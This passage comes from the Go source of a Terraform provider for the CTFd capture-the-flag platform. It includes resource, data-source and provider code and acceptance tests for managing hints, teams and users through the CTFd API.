api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update hint %s, got error: %s", data.ID.ValueString(), err), ) return } // Forced to pass by all hints as CTFd does not return content for direct query hints, err := r.client.GetChallengeHints(h.ChallengeID, api.WithContext(ctx)) hint := (*api.Hint)(nil) for _, h := range hints { if h.ID == utils.Atoi(data.ID.ValueString()) { hint = h break } } if hint == nil { resp.Diagnostics.AddError( "CTFd Error", fmt.Sprintf("Unable to get hint %s of challenge %s, got error: %s", data.ID.ValueString(), data.ChallengeID.ValueString(), err), ) return } // Upsert values data.ChallengeID = types.StringValue(strconv.Itoa(h.ChallengeID)) data.Content = types.StringValue(*hint.Content) data.Cost = types.Int64Value(int64(hint.Cost)) reqs := make([]basetypes.StringValue, 0, len(hint.Requirements.Prerequisites)) for _, preq := range hint.Requirements.Prerequisites { reqs = append(reqs, types.StringValue(strconv.Itoa(preq))) } data.Requirements = reqs if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *hintResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data hintResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } // Update hint preqs := make([]int, 0, len(data.Requirements)) for _, preq := range data.Requirements { id, _ := strconv.Atoi(preq.ValueString()) preqs = append(preqs, id) } if _, err := r.client.PatchHint(data.ID.ValueString(), &api.PatchHintsParams{ ChallengeID: utils.Atoi(data.ChallengeID.ValueString()), Content: data.Content.ValueString(), Cost: int(data.Cost.ValueInt64()), Requirements: api.Requirements{ Prerequisites: preqs, }, }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update hint %s, got error: %s", data.ID.ValueString(), err), ) return } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *hintResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data hintResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteHint(data.ID.ValueString(), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError("Client Error", fmt.Sprintf("Unable to delete hint %s, got error: %s", data.ID.ValueString(), err)) return } } func (r *hintResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } ``` ## /provider/hint_resource_test.go ```go path="/provider/hint_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_Hint_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_hint" "first" { challenge_id = ctfd_challenge_standard.example.id content = "This is a first hint" cost = 1 } `, Check: resource.ComposeAggregateTestCheckFunc( // Verify dynamic values have any value set in the state. resource.TestCheckResourceAttr("ctfd_hint.first", "requirements.#", "0"), ), }, // ImportState testing { ResourceName: "ctfd_hint.first", ImportState: true, ImportStateVerify: true, }, // Update and Read testing { Config: providerConfig + ` resource "ctfd_challenge_standard" "example" { name = "Example challenge" category = "test" description = "Example challenge description..." value = 500 } resource "ctfd_hint" "first" { challenge_id = ctfd_challenge_standard.example.id content = "This is a first hint" cost = 1 } resource "ctfd_hint" "second" { challenge_id = ctfd_challenge_standard.example.id content = "This is a second hint" cost = 2 requirements = [ctfd_hint.first.id] } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttr("ctfd_hint.first", "requirements.#", "0"), resource.TestCheckResourceAttr("ctfd_hint.second", "requirements.#", "1"), ), }, // Delete testing automatically occurs in TestCase }, }) } ``` ## /provider/provider.go ```go path="/provider/provider.go" package provider import ( "context" "fmt" "os" "time" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/datasource" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/provider" "github.com/hashicorp/terraform-plugin-framework/provider/schema" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-log/tflog" ) var _ provider.Provider = (*CTFdProvider)(nil) type CTFdProvider struct { version string } func New(version string) func() provider.Provider { return func() provider.Provider { return &CTFdProvider{ version: version, } } } type CTFdProviderModel struct { URL types.String `tfsdk:"url"` APIKey types.String `tfsdk:"api_key"` Username types.String `tfsdk:"username"` Password types.String `tfsdk:"password"` } func (p *CTFdProvider) Metadata(ctx context.Context, req provider.MetadataRequest, resp *provider.MetadataResponse) { resp.TypeName = "ctfd" resp.Version = p.version } func (p *CTFdProvider) Schema(ctx context.Context, req provider.SchemaRequest, resp *provider.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: ` Use the Terraform Provider to interact with a [CTFd](https://github.com/ctfd/ctfd). ## Why creating this ? Terraform is used to manage resources that have lifecycles, configurations, to sum it up. That is the case of CTFd: it handles challenges that could be created, modified and deleted. With some work to leverage the unsteady CTFd's API, Terraform is now able to manage them as cloud resources bringing you to opportunity of CTF as Code. With a paradigm-shifting vision of setting up CTFs, the Terraform Provider for CTFd avoid shitty scripts, ` + "`ctfcli`" + ` and other tools that does not solve the problem of reproductibility, ease of deployment and resiliency. ## Authentication You must configure the provider with the proper credentials before you can use it. If you are using the username/password configuration, remember that CTFd comes with a ratelimiter on rare methods and endpoints, but ` + "`POST /login`" + ` is one of them. This could lead to unexpected failures under intensive work. !> **Warning:** Hard-coded credentials are not recommended in any Terraform configuration and risks secret leakage should this file ever be committed to a public version control system. `, Attributes: map[string]schema.Attribute{ "url": schema.StringAttribute{ MarkdownDescription: "CTFd base URL (e.g. `https://my-ctf.lan`). Could use `CTFD_URL` environment variable instead.", Optional: true, }, "api_key": schema.StringAttribute{ MarkdownDescription: "User API key. Could use `CTFD_API_KEY` environment variable instead. Despite being the most convenient way to authenticate yourself, we do not recommend it as you will probably generate a long-live token without any rotation policy.", Sensitive: true, Optional: true, }, "username": schema.StringAttribute{ MarkdownDescription: `The administrator or service account username to login with. Could use ` + "`CTFD_ADMIN_USERNAME`" + ` environment variable instead.`, Sensitive: true, Optional: true, }, "password": schema.StringAttribute{ MarkdownDescription: "The administrator or service account password to login with. Could use `CTFD_ADMIN_PASSWORD` environment variable instead.", Sensitive: true, Optional: true, }, }, } } func (p *CTFdProvider) Configure(ctx context.Context, req provider.ConfigureRequest, resp *provider.ConfigureResponse) { var config CTFdProviderModel diags := req.Config.Get(ctx, &config) resp.Diagnostics.Append(diags...) if resp.Diagnostics.HasError() { return } // Check configuration values are known if config.URL.IsUnknown() { resp.Diagnostics.AddAttributeError( path.Root("url"), "Unknown CTFD url.", "The provider cannot guess where to reach the CTFd instance.", ) } if config.APIKey.IsUnknown() { resp.Diagnostics.AddAttributeError( path.Root("api_key"), "Unknown CTFd API key.", "The provider cannot create the CTFd API client as there is an unknown API key value.", ) } if config.Username.IsUnknown() { resp.Diagnostics.AddAttributeError( path.Root("username"), "Unknown CTFd admin or service account username.", "The provider cannot create the CTFd API client as there is an unknown username.", ) } if config.APIKey.IsUnknown() { resp.Diagnostics.AddAttributeError( path.Root("password"), "Unknown CTFd admin or service account password.", "The provider cannot create the CTFd API client as there is an unknown password.", ) } if resp.Diagnostics.HasError() { return } // Extract environment variables values url := os.Getenv("CTFD_URL") apiKey := os.Getenv("CTFD_API_KEY") username := os.Getenv("CTFD_ADMIN_USERNAME") password := os.Getenv("CTFD_ADMIN_PASSWORD") if !config.URL.IsNull() { url = config.URL.ValueString() } if !config.APIKey.IsNull() { apiKey = config.APIKey.ValueString() } if !config.Username.IsNull() { username = config.Username.ValueString() } if !config.Password.IsNull() { password = config.Password.ValueString() } // Check there is enough content ak := apiKey != "" up := username != "" && password != "" if !ak && !up { resp.Diagnostics.AddError( "CTFd provider configuration error", "The provider cannot create the CTFd API client as there is an invalid configuration. Expected either an API key, a nonce and session, or a username and password.", ) return } // Instantiate CTFd API client ctx = tflog.SetField(ctx, "ctfd_url", url) ctx = utils.AddSensitive(ctx, "ctfd_api_key", apiKey) ctx = utils.AddSensitive(ctx, "ctfd_username", username) ctx = utils.AddSensitive(ctx, "ctfd_password", password) tflog.Debug(ctx, "Creating CTFd API client") nonce, session, err := api.GetNonceAndSession(url, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "CTFd error", fmt.Sprintf("Failed to fetch nonce and session: %s", err), ) return } client := api.NewClient(url, nonce, session, apiKey) if up { // XXX due to the CTFd ratelimiter on rare endpoint if _, ok := os.LookupEnv("TF_ACC"); ok { time.Sleep(5 * time.Second) } if err := client.Login(&api.LoginParams{ Name: username, Password: password, }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "CTFd error", fmt.Sprintf("Failed to login: %s", err), ) return } } resp.DataSourceData = client resp.ResourceData = client tflog.Info(ctx, "Configure CTFd API client", map[string]any{ "success": true, "login": up, }) } func (p *CTFdProvider) Resources(ctx context.Context) []func() resource.Resource { return []func() resource.Resource{ NewChallengeStandardResource, NewChallengeDynamicResource, NewHintResource, NewFlagResource, NewFileResource, NewUserResource, NewTeamResource, } } func (p *CTFdProvider) DataSources(ctx context.Context) []func() datasource.DataSource { return []func() datasource.DataSource{ NewChallengeStandardDataSource, NewChallengeDynamicDataSource, NewUserDataSource, NewTeamDataSource, } } ``` ## /provider/provider_test.go ```go path="/provider/provider_test.go" package provider_test import ( "github.com/primeattenu/terraform-provider-ctfd/v2/provider" "github.com/hashicorp/terraform-plugin-framework/providerserver" "github.com/hashicorp/terraform-plugin-go/tfprotov6" ) const ( providerConfig = ` provider "ctfd" {} ` ) var ( // testAccProtoV6ProviderFactories are used to instantiate a provider during // acceptance testing. The factory function will be invoked for every Terraform // CLI command executed to create a provider server to which the CLI can // reattach. testAccProtoV6ProviderFactories = map[string]func() (tfprotov6.ProviderServer, error){ "ctfd": providerserver.NewProtocol6WithError(provider.New("test")()), } ) ``` ## /provider/team_data_source.go ```go path="/provider/team_data_source.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/hashicorp/terraform-plugin-framework/datasource" "github.com/hashicorp/terraform-plugin-framework/datasource/schema" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" ) var ( _ datasource.DataSource = (*teamDataSource)(nil) _ datasource.DataSourceWithConfigure = (*teamDataSource)(nil) ) func NewTeamDataSource() datasource.DataSource { return &teamDataSource{} } type teamDataSource struct { client *api.Client } type teamsDataSourceModel struct { ID types.String `tfsdk:"id"` Teams []teamResourceModel `tfsdk:"teams"` } func (team *teamDataSource) Metadata(ctx context.Context, req datasource.MetadataRequest, resp *datasource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_teams" } func (team *teamDataSource) Schema(ctx context.Context, req datasource.SchemaRequest, resp *datasource.SchemaResponse) { resp.Schema = schema.Schema{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the user.", Computed: true, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the team.", Computed: true, }, "email": schema.StringAttribute{ MarkdownDescription: "Email of the team.", Computed: true, }, "password": schema.StringAttribute{ MarkdownDescription: "Password of the team. Notice that during a CTF you may not want to update those to avoid defaulting team accesses.", Computed: true, }, "website": schema.StringAttribute{ MarkdownDescription: "Website, blog, or anything similar (displayed to other participants).", Computed: true, }, "affiliation": schema.StringAttribute{ MarkdownDescription: "Affiliation to a company or agency.", Computed: true, }, "country": schema.StringAttribute{ MarkdownDescription: "Country the team represent or is hail from.", Computed: true, }, "hidden": schema.BoolAttribute{ MarkdownDescription: "Is true if the team is hidden to the participants.", Computed: true, }, "banned": schema.BoolAttribute{ MarkdownDescription: "Is true if the team is banned from the CTF.", Computed: true, }, "members": schema.ListAttribute{ MarkdownDescription: "List of members (User), defined by their IDs.", ElementType: types.StringType, Computed: true, }, "captain": schema.StringAttribute{ MarkdownDescription: "Member who is captain of the team. Must be part of the members too. Note it could cause a fatal error in case of resource import with an inconsistent CTFd configuration i.e. if a team has no captain yet (should not be possible).", Computed: true, }, }, } } func (team *teamDataSource) Configure(ctx context.Context, req datasource.ConfigureRequest, resp *datasource.ConfigureResponse) { if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Data Source Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } team.client = client } func (team *teamDataSource) Read(ctx context.Context, req datasource.ReadRequest, resp *datasource.ReadResponse) { var state teamsDataSourceModel teams, err := team.client.GetTeams(&api.GetTeamsParams{}, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Unable to Read CTFd Teams", err.Error(), ) return } state.Teams = make([]teamResourceModel, 0, len(teams)) for _, t := range teams { // Flatten response members := make([]basetypes.StringValue, 0, len(t.Members)) for _, tm := range t.Members { members = append(members, types.StringValue(strconv.Itoa(tm))) } state.Teams = append(state.Teams, teamResourceModel{ ID: types.StringValue(strconv.Itoa(t.ID)), Name: types.StringValue(t.Name), Email: types.StringValue(*t.Email), Password: types.StringValue("placeholder"), Website: types.StringValue(*t.Website), Affiliation: types.StringValue(*t.Affiliation), Country: types.StringValue(*t.Country), Hidden: types.BoolValue(t.Hidden), Banned: types.BoolValue(t.Banned), Members: members, Captain: types.StringValue(strconv.Itoa(*t.CaptainID)), }) } state.ID = types.StringValue("placeholder") resp.Diagnostics.Append(resp.State.Set(ctx, &state)...) } ``` ## /provider/team_resource.go ```go path="/provider/team_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/booldefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/defaults" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" ) var ( _ resource.Resource = (*teamResource)(nil) _ resource.ResourceWithConfigure = (*teamResource)(nil) _ resource.ResourceWithImportState = (*teamResource)(nil) ) type teamResourceModel struct { ID types.String `tfsdk:"id"` Name types.String `tfsdk:"name"` Email types.String `tfsdk:"email"` Password types.String `tfsdk:"password"` Website types.String `tfsdk:"website"` Affiliation types.String `tfsdk:"affiliation"` Country types.String `tfsdk:"country"` Hidden types.Bool `tfsdk:"hidden"` Banned types.Bool `tfsdk:"banned"` Members []types.String `tfsdk:"members"` Captain types.String `tfsdk:"captain"` } func NewTeamResource() resource.Resource { return &teamResource{} } type teamResource struct { client *api.Client } func (r *teamResource) Metadata(ctx context.Context, req resource.MetadataRequest, resp *resource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_team" } func (r *teamResource) Schema(ctx context.Context, req resource.SchemaRequest, resp *resource.SchemaResponse) { resp.Schema = schema.Schema{ MarkdownDescription: "CTFd defines a Team as a group of Users who will attend the Capture The Flag event.", Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the user.", Computed: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.UseStateForUnknown(), }, }, "name": schema.StringAttribute{ MarkdownDescription: "Name of the team.", Required: true, }, "email": schema.StringAttribute{ MarkdownDescription: "Email of the team.", Required: true, }, "password": schema.StringAttribute{ MarkdownDescription: "Password of the team. Notice that during a CTF you may not want to update those to avoid defaulting team accesses.", Required: true, PlanModifiers: []planmodifier.String{ stringplanmodifier.RequiresReplace(), }, }, "website": schema.StringAttribute{ MarkdownDescription: "Website, blog, or anything similar (displayed to other participants).", Optional: true, }, "affiliation": schema.StringAttribute{ MarkdownDescription: "Affiliation to a company or agency.", Optional: true, }, "country": schema.StringAttribute{ MarkdownDescription: "Country the team represent or is hail from.", Optional: true, }, "hidden": schema.BoolAttribute{ MarkdownDescription: "Is true if the team is hidden to the participants.", Optional: true, Computed: true, Default: defaults.Bool(booldefault.StaticBool(false)), }, "banned": schema.BoolAttribute{ MarkdownDescription: "Is true if the team is banned from the CTF.", Optional: true, Computed: true, Default: defaults.Bool(booldefault.StaticBool(false)), }, "members": schema.ListAttribute{ MarkdownDescription: "List of members (User), defined by their IDs.", ElementType: types.StringType, Required: true, }, "captain": schema.StringAttribute{ MarkdownDescription: "Member who is captain of the team. Must be part of the members too. Note it could cause a fatal error in case of resource import with an inconsistent CTFd configuration i.e. if a team has no captain yet (should not be possible).", Required: true, }, }, } } func (r *teamResource) Configure(ctx context.Context, req resource.ConfigureRequest, resp *resource.ConfigureResponse) { // Prevent panic if the provider has not been configured. if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Resource Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } r.client = client } func (r *teamResource) Create(ctx context.Context, req resource.CreateRequest, resp *resource.CreateResponse) { var data teamResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } res, err := r.client.PostTeams(&api.PostTeamsParams{ Name: data.Name.ValueString(), Email: data.Email.ValueString(), Password: data.Password.ValueString(), Website: data.Website.ValueStringPointer(), Affiliation: data.Affiliation.ValueStringPointer(), Country: data.Country.ValueStringPointer(), Hidden: data.Hidden.ValueBool(), Banned: data.Banned.ValueBool(), Fields: []api.Field{}, }) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to create team, got error: %s", err), ) return } data.ID = types.StringValue(strconv.Itoa(res.ID)) // => Members for _, mem := range data.Members { _, err := r.client.PostTeamMembers(res.ID, &api.PostTeamsMembersParams{ UserID: utils.Atoi(mem.ValueString()), }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to add user to team %d, got error: %s", res.ID, err), ) return } } // => Captain cap := utils.Atoi(data.Captain.ValueString()) if _, err := r.client.PatchTeam(res.ID, &api.PatchTeamsParams{ CaptainID: &cap, Fields: []api.Field{}, }); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to set user %d as team %d captain, got error: %s", cap, res.ID, err), ) return } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *teamResource) Read(ctx context.Context, req resource.ReadRequest, resp *resource.ReadResponse) { var data teamResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } teamId := utils.Atoi(data.ID.ValueString()) res, err := r.client.GetTeam(teamId, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to read team %s, got error: %s", data.ID.ValueString(), err), ) return } data.Name = types.StringValue(res.Name) data.Email = types.StringPointerValue(res.Email) data.Website = types.StringPointerValue(res.Website) data.Affiliation = types.StringPointerValue(res.Affiliation) data.Country = types.StringPointerValue(res.Country) data.Hidden = types.BoolValue(res.Hidden) data.Banned = types.BoolValue(res.Banned) // password is not returned, which is good :) // => Members mems, err := r.client.GetTeamMembers(teamId, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to read team %s members, got error: %s", data.ID.ValueString(), err), ) return } data.Members = make([]basetypes.StringValue, 0, len(mems)) for _, mem := range mems { data.Members = append(data.Members, types.StringValue(strconv.Itoa(mem))) } // => Captain data.Captain = types.StringValue(strconv.Itoa(*res.CaptainID)) if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *teamResource) Update(ctx context.Context, req resource.UpdateRequest, resp *resource.UpdateResponse) { var data teamResourceModel resp.Diagnostics.Append(req.Plan.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } teamId := utils.Atoi(data.ID.ValueString()) _, err := r.client.PatchTeam(teamId, &api.PatchTeamsParams{ Name: data.Name.ValueStringPointer(), Email: data.Email.ValueStringPointer(), Password: data.Password.ValueStringPointer(), Website: data.Website.ValueStringPointer(), Affiliation: data.Affiliation.ValueStringPointer(), Country: data.Country.ValueStringPointer(), Hidden: data.Hidden.ValueBoolPointer(), Banned: data.Banned.ValueBoolPointer(), Fields: []api.Field{}, }, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to update team, got error: %s", err), ) return } // => Members currentMembers, err := r.client.GetTeamMembers(teamId, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to get team's %d members, got error: %s", teamId, err), ) return } members := []basetypes.StringValue{} for _, tfMember := range data.Members { exists := false for _, currentMember := range currentMembers { if tfMember.ValueString() == strconv.Itoa(currentMember) { exists = true break } } if !exists { if _, err := r.client.PostTeamMembers(teamId, &api.PostTeamsMembersParams{ UserID: utils.Atoi(tfMember.ValueString()), }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to post team's %d member %s, got error: %s", teamId, tfMember.ValueString(), err), ) return } members = append(members, tfMember) } } for _, currentMember := range currentMembers { exists := false for _, tfMember := range data.Members { if tfMember.ValueString() == strconv.Itoa(currentMember) { exists = true members = append(members, tfMember) break } } if !exists { if _, err := r.client.DeleteTeamMembers(teamId, &api.DeleteTeamMembersParams{ UserID: currentMember, }, api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete team's %d member %d, got error: %s", teamId, currentMember, err), ) return } } } if data.Members != nil { data.Members = members } // => Captain cap := utils.Ptr(utils.Atoi(data.Captain.ValueString())) if _, err := r.client.PatchTeam(teamId, &api.PatchTeamsParams{ CaptainID: cap, Fields: []api.Field{}, }); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to set user %d as team %d captain, got error: %s", cap, teamId, err), ) return } if resp.Diagnostics.HasError() { return } resp.Diagnostics.Append(resp.State.Set(ctx, &data)...) } func (r *teamResource) Delete(ctx context.Context, req resource.DeleteRequest, resp *resource.DeleteResponse) { var data teamResourceModel resp.Diagnostics.Append(req.State.Get(ctx, &data)...) if resp.Diagnostics.HasError() { return } if err := r.client.DeleteTeam(utils.Atoi(data.ID.ValueString()), api.WithContext(ctx)); err != nil { resp.Diagnostics.AddError( "Client Error", fmt.Sprintf("Unable to delete team %s, got error: %s", data.ID.ValueString(), err), ) return } } func (r *teamResource) ImportState(ctx context.Context, req resource.ImportStateRequest, resp *resource.ImportStateResponse) { resource.ImportStatePassthroughID(ctx, path.Root("id"), req, resp) // Automatically call r.Read } ``` ## /provider/team_resource_test.go ```go path="/provider/team_resource_test.go" package provider_test import ( "testing" "github.com/hashicorp/terraform-plugin-testing/helper/resource" ) func TestAcc_Team_Lifecycle(t *testing.T) { resource.Test(t, resource.TestCase{ ProtoV6ProviderFactories: testAccProtoV6ProviderFactories, Steps: []resource.TestStep{ // Create and Read testing { Config: providerConfig + ` resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io-team@protonmail.com" password = "password" } resource "ctfd_team" "cybercombattants" { name = "Les cybercombattants de l'innovation" email = "lucastesson@protonmail.com" password = "password" members = [ ctfd_user.ctfer.id, ] captain = ctfd_user.ctfer.id } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttrSet("ctfd_team.cybercombattants", "id"), resource.TestCheckResourceAttr("ctfd_team.cybercombattants", "members.#", "1"), ), }, // ImportState testing { ResourceName: "ctfd_team.cybercombattants", ImportState: true, ImportStateVerify: true, ImportStateVerifyIgnore: []string{"password"}, // password can't be fetched from CTFd (security by design) }, // Update and Read testing (ban team) { Config: providerConfig + ` resource "ctfd_user" "ctfer" { name = "CTFer" email = "ctfer-io-team@protonmail.com" password = "new-password" } resource "ctfd_team" "cybercombattants" { name = "Les cybercombattants de l'innovation" email = "lucastesson@protonmail.com" password = "password" banned = true members = [ ctfd_user.ctfer.id, ] captain = ctfd_user.ctfer.id } `, Check: resource.ComposeAggregateTestCheckFunc( resource.TestCheckResourceAttr("ctfd_team.cybercombattants", "members.#", "1"), ), }, }, }) } ``` ## /provider/user_data_source.go ```go path="/provider/user_data_source.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/hashicorp/terraform-plugin-framework/datasource" "github.com/hashicorp/terraform-plugin-framework/datasource/schema" "github.com/hashicorp/terraform-plugin-framework/types" ) var ( _ datasource.DataSource = (*userDataSource)(nil) _ datasource.DataSourceWithConfigure = (*userDataSource)(nil) ) func NewUserDataSource() datasource.DataSource { return &userDataSource{} } type userDataSource struct { client *api.Client } type usersDataSourceModel struct { ID types.String `tfsdk:"id"` Users []userResourceModel `tfsdk:"users"` } func (usr *userDataSource) Metadata(ctx context.Context, req datasource.MetadataRequest, resp *datasource.MetadataResponse) { resp.TypeName = req.ProviderTypeName + "_users" } func (usr *userDataSource) Schema(ctx context.Context, req datasource.SchemaRequest, resp *datasource.SchemaResponse) { resp.Schema = schema.Schema{ Attributes: map[string]schema.Attribute{ "id": schema.StringAttribute{ MarkdownDescription: "Identifier of the user.", Computed: true, }, "name": schema.StringAttribute{ MarkdownDescription: "Name or pseudo of the user.", Computed: true, }, "email": schema.StringAttribute{ MarkdownDescription: "Email of the user, may be used to verify the account.", Computed: true, }, "password": schema.StringAttribute{ MarkdownDescription: "Password of the user. Notice that during a CTF you may not want to update those to avoid defaulting user accesses.", Computed: true, }, "website": schema.StringAttribute{ MarkdownDescription: "Website, blog, or anything similar (displayed to other participants).", Computed: true, }, "affiliation": schema.StringAttribute{ MarkdownDescription: "Affiliation to a team, company or agency.", Computed: true, }, "country": schema.StringAttribute{ MarkdownDescription: "Country the user represent or is native from.", Computed: true, }, "language": schema.StringAttribute{ MarkdownDescription: "Language the user is fluent in.", Computed: true, }, "type": schema.StringAttribute{ MarkdownDescription: "Generic type for RBAC purposes.", Computed: true, }, "verified": schema.BoolAttribute{ MarkdownDescription: "Is true if the user has verified its account by email, or if set by an admin.", Computed: true, }, "hidden": schema.BoolAttribute{ MarkdownDescription: "Is true if the user is hidden to the participants.", Computed: true, }, "banned": schema.BoolAttribute{ MarkdownDescription: "Is true if the user is banned from the CTF.", Computed: true, }, }, } } func (usr *userDataSource) Configure(ctx context.Context, req datasource.ConfigureRequest, resp *datasource.ConfigureResponse) { if req.ProviderData == nil { return } client, ok := req.ProviderData.(*api.Client) if !ok { resp.Diagnostics.AddError( "Unexpected Data Source Configure Type", fmt.Sprintf("Expected *github.com/ctfer-io/go-ctfd/api.Client, got: %T. Please open an issue at https://github.com/primeattenu/terraform-provider-ctfd", req.ProviderData), ) return } usr.client = client } func (usr *userDataSource) Read(ctx context.Context, req datasource.ReadRequest, resp *datasource.ReadResponse) { var state usersDataSourceModel users, err := usr.client.GetUsers(&api.GetUsersParams{}, api.WithContext(ctx)) if err != nil { resp.Diagnostics.AddError( "Unable to Read CTFd Users", err.Error(), ) return } state.Users = make([]userResourceModel, 0, len(users)) for _, u := range users { // Flatten response state.Users = append(state.Users, userResourceModel{ ID: types.StringValue(strconv.Itoa(u.ID)), Name: types.StringValue(u.Name), Email: types.StringPointerValue(u.Email), Password: types.StringValue("placeholder"), Website: types.StringPointerValue(u.Website), Affiliation: types.StringPointerValue(u.Affiliation), Country: types.StringPointerValue(u.Country), Language: types.StringPointerValue(u.Language), Type: types.StringPointerValue(u.Type), Verified: types.BoolPointerValue(u.Verified), Hidden: types.BoolPointerValue(u.Hidden), Banned: types.BoolPointerValue(u.Banned), }) } state.ID = types.StringValue("placeholder") resp.Diagnostics.Append(resp.State.Set(ctx, &state)...) } ``` ## /provider/user_resource.go ```go path="/provider/user_resource.go" package provider import ( "context" "fmt" "strconv" "github.com/ctfer-io/go-ctfd/api" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/utils" "github.com/primeattenu/terraform-provider-ctfd/v2/provider/validators" "github.com/hashicorp/terraform-plugin-framework/path" "github.com/hashicorp/terraform-plugin-framework/resource" "github.com/hashicorp/terraform-plugin-framework/resource/schema" "github.com/hashicorp/terraform-plugin-framework/resource/schema/booldefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/defaults" "github.com/hashicorp/terraform-plugin-framework/resource/schema/planmodifier" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringdefault" "github.com/hashicorp/terraform-plugin-framework/resource/schema/stringplanmodifier" "github.com/hashicorp/terraform-plugin-framework/schema/validator" "github.com/hashicorp/terraform-plugin-framework/types" "github.com/hashicorp/terraform-plugin-framework/types/basetypes" ) var ( _ resource.Resource = (*userResource)(nil) _ resource.ResourceWithConfigure = (*userResource)(nil) _ resource.ResourceWithImportState = (*userResource)(nil) ) type userResourceModel struct { ID types.String `tfsdk:"id"` Name types.String `tfsdk:"name"` Email types.String `tfsdk:"email"` Password types.String `tfsdk:"password"` Website types.String `tfsdk:"website"` Affiliation types.String `tfsdk:"affiliation"` Country types.String `tfsdk:"country"` Language types.String 